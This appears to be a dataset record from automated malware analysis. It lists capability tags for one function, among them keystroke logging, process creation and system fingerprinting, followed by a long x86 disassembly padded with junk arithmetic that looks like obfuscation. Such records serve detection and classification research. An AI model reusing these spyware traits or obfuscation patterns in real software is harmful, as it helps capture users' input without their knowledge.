Function at 0x1003143e
Capabilities:
Check os version
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file system object information
Identify system language via api
Log keystrokes
Parse pe header

Disassembly:
mov eax, 0x1008149b
call fcn.1007f9c0
mov eax, 0x17c4
call fcn.1007c170
push ebx
push esi
push edi
push 3
mov dword [ebp - 0x4c], 5
pop eax
mov dword [ebp - 0x44], 0x95ed7c6a
mov dword [ebp - 0x3c], eax
xor eax, eax
push 2
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0x7d], dl
cmp dword [ebp - 0x10], ecx
jge 0x10031494
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x149c], 0x6d54ec7e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003147c
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100314b4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbc0], 0x9bfaead2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003149c
xor eax, eax
mov esi, dword [sym.imp.USER32.dll_GetCapture]
mov ebx, dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 1
pop ecx
cmp dword [ebp - 0x4c], eax
je 0x100315cf
push ecx
mov dword [ebp - 0x50], 0xe60e7790
lea ecx, [ebp - 0xc18]
call fcn.10016f28
xor eax, eax
mov dword [ebp - 4], eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1003150d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x184], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100314f5
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10031528
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc18]
call fcn.10016fc6
push 5
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10031512
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x184]
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x180]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0x4c], ecx
je 0x10031580
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], edx
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
lea ecx, [ebp - 0xc18]
setne dl
xor eax, eax
mov dword [ebp - 0x50], edx
push eax
call fcn.10016fc6
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
or eax, 0xffffffff
inc dword [ebp - 0xbc0]
lea ecx, [ebp - 0xc18]
mov dword [ebp - 4], eax
call fcn.10016faa
jmp 0x100315f2
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x100315e7
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x100315f4
call esi
xor eax, eax
push 5
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], 0x95ed7c6a
mov dword [ebp - 0x3c], 3
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1003162b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x148c], 0x6d54ec7e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031613
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1003164b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb58], 0x9bfaead2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031633
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x10031754
xor esi, esi
mov dword [ebp - 0x50], 0xe60e7790
inc esi
lea ecx, [ebp - 0xde0]
push esi
call fcn.10016f28
xor eax, eax
mov dword [ebp - 4], esi
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10031692
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1c8], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003167a
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x100316ad
push dword [ebp - 0x10]
lea ecx, [ebp - 0xde0]
call fcn.10016fc6
push 5
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10031697
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c8]
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c4]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0x4c], ecx
je 0x10031705
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], edx
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
lea ecx, [ebp - 0xde0]
setne dl
xor eax, eax
mov dword [ebp - 0x50], edx
push eax
call fcn.10016fc6
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
or eax, 0xffffffff
inc dword [ebp - 0xb58]
lea ecx, [ebp - 0xde0]
mov dword [ebp - 4], eax
call fcn.10016faa
jmp 0x10031777
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x1003176c
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10031777
call esi
push 2
pop esi
push 4
pop eax
mov dword [ebp - 0x34], esi
lea ecx, [ebp - 0x1090]
mov dword [ebp - 0x40], 0x22124f84
mov dword [ebp - 0x28], 0xfffffff9
push eax
call fcn.10016f28
mov dword [ebp - 4], esi
xor eax, eax
push 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
pop esi
jmp 0x100317c1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1090]
call fcn.10016fc6
mov dword [eax], 0xcd50997
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100317aa
mov eax, dword [ebp - 0x34]
xor ecx, ecx
xor esi, esi
inc esi
cmp eax, esi
setle cl
or eax, 0xffffffff
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x1090]
inc dword [ebp - 0x3c]
mov dword [ebp - 4], eax
call fcn.10016faa
push 5
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x10], 0x3c40
mov dword [ebp - 0x38], 0x74579933
mov dword [ebp - 0x3c], 0x8db8846b
push 2
mov dword [ebp - 0x34], 0xe4a6b2c4
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10031827
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14bc], 0x216709e1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10031816
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1003187c
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
xor eax, eax
mov dword [ebp - 0x44], 0x95ed7c6a
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xdfe012d2
mov dword [ebp - 0x28], 0x25d2d915
mov dword [ebp - 0x28], 0x13a6c9cd
mov dword [ebp - 0x28], 0x5ebda184
push 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100318cb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x172c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100318be
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, 0x3fbb
setge cl
xor eax, eax
cmp ecx, 0xffff59d7
setg al
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x2c], eax
jg 0x100318fd
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x1003190f
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x1003190f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
dec dword [ebp - 0x3c]
lea ecx, [ebp - 0x6fc]
push 3
pop eax
mov dword [ebp - 0x3c], eax
or eax, 0xffffffff
push 2
mov dword [ebp - 0x4c], 0x8e418a52
mov dword [ebp - 0x44], eax
pop eax
push eax
call fcn.10016f28
push 3
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x3c], 0x6b37990
mov dword [ebp - 0x34], 0x1ee4cff1
mov dword [ebp - 0x14], eax
jmp 0x10031966
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6fc]
call fcn.10016fc6
mov dword [eax], 0x71a0513
inc dword [ebp - 0x14]
push 2
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1003194f
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x1003197e
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x6fc]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
push esi
call fcn.10016fc6
push esi
lea ecx, [ebp - 0x6fc]
call fcn.10016fc6
lea ecx, [ebp - 0x6fc]
mov esi, dword [eax]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10016fc6
xor edx, edx
mov eax, dword [eax]
imul eax, esi
cmp eax, 0x14b1
setge dl
xor ecx, ecx
cmp edx, 0xfffffffe
setge cl
xor eax, eax
or esi, 0xffffffff
cmp ecx, esi
setne al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], al
je 0x100319fb
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
lea ecx, [ebp - 0x6fc]
mov dword [ebp - 4], esi
call fcn.10016faa
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10031a2e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14cc], 0x6d54ec7e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031a16
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10031a4e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb70], 0x9bfaead2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031a36
xor eax, eax
mov dword [ebp - 0x2c], 0xb34e6d4f
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 0x5872
mov dword [ebp - 0x4c], 0x623b4709
mov dword [ebp - 0x1c], 0x78ef
mov dword [ebp - 0x10], 0xcc72b752
mov dword [ebp - 0x3c], 0xc0a1033
mov dword [ebp - 0x40], 0xf537
mov dword [ebp - 0x48], 9
mov dword [ebp - 0x44], 0x927d
mov dword [ebp - 0x28], eax
push 0xfffffffffffffff7
pop edx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], edx
push 3
mov dword [ebp - 0x14], eax
pop edx
cmp dword [ebp - 0x14], edx
jge 0x10031acd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x86c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10031ab9
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10031adf
call edi
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 0x4c]
xor esi, esi
mov eax, dword [ebp - 0x4c]
inc esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x6ac116e0
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, eax
push 2
setle dl
sub edx, dword [ebp - 0x4c]
neg edx
pop ecx
sbb edx, edx
add edx, 2
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x868], 0xfffffffc
xor eax, eax
mov dword [ebp - 0x44], 0x140da8f9
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x10031bf0
or ecx, 0xffffffff
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x28], 0x29358db
mov dword [ebp - 0x28], 0x825d0bc5
mov dword [ebp - 0x28], 0xf73ecb6a
push 4
mov dword [ebp - 0x34], 0x330c202e
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10031bb3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x17bc], 0xbbe75688
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10031ba2
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x86c], 0
jne 0x10031bcf
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x86c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10]
push 0
mov dword [ebp + eax*4 - 0x86c], ecx
dec dword [ebp - 0x10]
pop eax
jns 0x10031b78
push 2
pop ecx
push 4
pop edx
mov dword [ebp - 0x1c], edx
jmp 0x10031c37
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10031c15
push eax
push 0x85a
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ecx
jg 0x10031c34
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x86c], 0
jne 0x10031c32
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jle 0x10031c1d
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x22
jne 0x10031bf8
cmp dword [ebp - 0x24], eax
je 0x10031d49
mov dword [ebp - 0x50], 0xe60e7790
lea ecx, [ebp - 0xc30]
push esi
call fcn.10016f28
push 4
pop eax
mov dword [ebp - 4], eax
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10031c84
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x190], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031c6c
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10031c9f
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc30]
call fcn.10016fc6
push 5
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10031c89
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x190]
inc eax
imul ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x18c]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0x24], ecx
je 0x10031cf7
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], edx
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
lea ecx, [ebp - 0xc30]
setne dl
xor eax, eax
mov dword [ebp - 0x50], edx
push eax
call fcn.10016fc6
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
or eax, 0xffffffff
inc dword [ebp - 0xb70]
lea ecx, [ebp - 0xc30]
mov dword [ebp - 4], eax
call fcn.10016faa
xor esi, esi
inc esi
jmp 0x10031d70
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10031d61
push eax
call edi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10031d70
call dword [sym.imp.USER32.dll_GetCapture]
push 2
pop eax
push eax
lea ecx, [ebp - 0x714]
call fcn.10016f28
push 5
pop eax
push 3
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x288]
pop eax
push eax
call fcn.10016f28
push 2
pop eax
push eax
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 6
call fcn.10016f28
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x34], 0x9ff4c90e
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10031de3
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x714]
call fcn.10016fc6
push 2
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10031dc2
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10031e0d
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x288]
call fcn.10016fc6
push 3
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10031dec
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10031e29
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x910]
call fcn.10016fc6
mov dword [eax], 0xbdbdf7cd
inc dword [ebp - 0x1c]
push 2
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10031e12
push esi
lea ecx, [ebp - 0x288]
call fcn.10016fc6
xor ecx, ecx
inc ecx
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x288]
call fcn.10016fc6
xor esi, esi
inc esi
cmp dword [eax], 0
jl 0x10032027
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], 0xa73d2d67
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x28], 0xd8ea5f34
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jle 0x10031eb1
inc eax
push eax
lea ecx, [ebp - 0x288]
call fcn.10016fc6
xor esi, esi
lea ecx, [ebp - 0x288]
inc esi
push esi
dec dword [eax]
call fcn.10016fc6
jmp 0x10031e51
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x50], eax
push 2
pop eax
mov dword [ebp - 0x34], 0x6edad94e
mov dword [ebp - 0x28], 0x2f88d967
push eax
call fcn.10016f28
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x14], eax
jmp 0x10031ef6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x928]
call fcn.10016fc6
mov dword [eax], 0x9d73df2e
inc dword [ebp - 0x14]
push 2
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10031edf
push dword [ebp - 0x24]
lea ecx, [ebp - 0x714]
call fcn.10016fc6
push esi
lea ecx, [ebp - 0x288]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
call fcn.10016fc6
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10031f38
push eax
lea ecx, [ebp - 0x910]
call fcn.10016fc6
xor eax, eax
push eax
lea ecx, [ebp - 0x928]
call fcn.10016fc6
push dword [ebp - 0x24]
lea ecx, [ebp - 0x714]
call fcn.10016fc6
mov esi, eax
lea ecx, [ebp - 0x288]
xor eax, eax
push eax
call fcn.10016fc6
push 2
mov ecx, dword [eax]
sub ecx, dword [esi]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x3fa9
pop ecx
setge al
cmp eax, ecx
lea ecx, [ebp - 0x910]
sbb esi, esi
xor eax, eax
inc eax
inc esi
push eax
call fcn.10016fc6
mov dword [eax], esi
test esi, esi
jne 0x10031fb4
xor eax, eax
lea ecx, [ebp - 0x288]
inc eax
push eax
call fcn.10016fc6
cmp dword [eax], esi
jne 0x10031fb4
xor eax, eax
lea ecx, [ebp - 0x714]
push eax
call fcn.10016fc6
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x928]
mov eax, dword [ebp - 0x3c]
xor eax, eax
push eax
call fcn.10016fc6
push 2
pop ecx
cmp dword [eax], 0xea418246
sbb eax, eax
inc eax
add eax, ecx
je 0x10031fe4
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10031fe6
lea edx, [eax + 1]
jmp 0x10031fe8
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 7
call fcn.10016faa
inc dword [ebp - 0x24]
xor eax, eax
inc eax
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x24], eax
jle 0x10031eac
jmp 0x10031e8d
lea ecx, [ebp - 0x910]
call fcn.10016faa
lea ecx, [ebp - 0x288]
call fcn.10016faa
or eax, 0xffffffff
lea ecx, [ebp - 0x714]
mov dword [ebp - 4], eax
call fcn.10016faa
push 2
pop eax
push eax
lea ecx, [ebp - 0x1c0]
call fcn.10016f28
push 9
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0xec4]
mov dword [ebp - 0x3c], 0xb15a
mov dword [ebp - 0x34], 0xee1d459
push esi
call fcn.10016f28
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x40], 0xcbedfa90
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100320b6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1c0]
call fcn.10016fc6
push 2
mov dword [eax], 0xafa2fafd
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], eax
jl 0x10032095
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100320e2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xec4]
call fcn.10016fc6
mov dword [eax], 0xc099
xor eax, eax
inc dword [ebp - 0x1c]
inc eax
cmp dword [ebp - 0x1c], eax
jl 0x100320be
xor esi, esi
xor eax, eax
inc esi
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10032105
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1564], 0xb347d170
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100320ed
xor eax, eax
push eax
lea ecx, [ebp - 0x1c0]
call fcn.10016fc6
push esi
lea ecx, [ebp - 0x1c0]
call fcn.10016fc6
cmp dword [eax], 0
je 0x10032130
xor eax, eax
lea ecx, [ebp - 0x1c0]
push eax
call fcn.10016fc6
xor eax, eax
lea ecx, [ebp - 0x1c0]
push eax
call fcn.10016fc6
xor eax, eax
lea ecx, [ebp - 0x1c0]
push eax
call fcn.10016fc6
push esi
lea ecx, [ebp - 0x1c0]
call fcn.10016fc6
xor eax, eax
lea ecx, [ebp - 0x1c0]
push eax
call fcn.10016fc6
push esi
lea ecx, [ebp - 0x1c0]
call fcn.10016fc6
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0xec4]
mov eax, dword [ebp - 0x34]
xor eax, eax
push eax
call fcn.10016fc6
xor eax, eax
lea ecx, [ebp - 0x1c0]
push eax
call fcn.10016fc6
xor eax, eax
lea ecx, [ebp - 0xec4]
mov dword [ebp - 0x1564], eax
mov eax, dword [ebp - 0x3c]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
call fcn.10016faa
or eax, 0xffffffff
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 4], eax
call fcn.10016faa
push 2
pop eax
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x1214]
push 4
pop eax
mov dword [ebp - 0x40], 0x22124f84
mov dword [ebp - 0x28], 0xfffffff9
push eax
call fcn.10016f28
xor eax, eax
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
jmp 0x1003220f
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1214]
call fcn.10016fc6
mov dword [eax], 0xcd50997
inc dword [ebp - 0x14]
push 4
pop eax
cmp dword [ebp - 0x14], eax
jl 0x100321f8
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, esi
setle cl
or eax, 0xffffffff
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x1214]
inc dword [ebp - 0x3c]
mov dword [ebp - 4], eax
call fcn.10016faa
push 5
pop eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x10], 0x3c40
mov dword [ebp - 0x38], 0x74579933
mov dword [ebp - 0x3c], 0x8db8846b
push 2
mov dword [ebp - 0x34], 0xe4a6b2c4
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10032275
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14dc], 0x216709e1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10032264
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
xor eax, eax
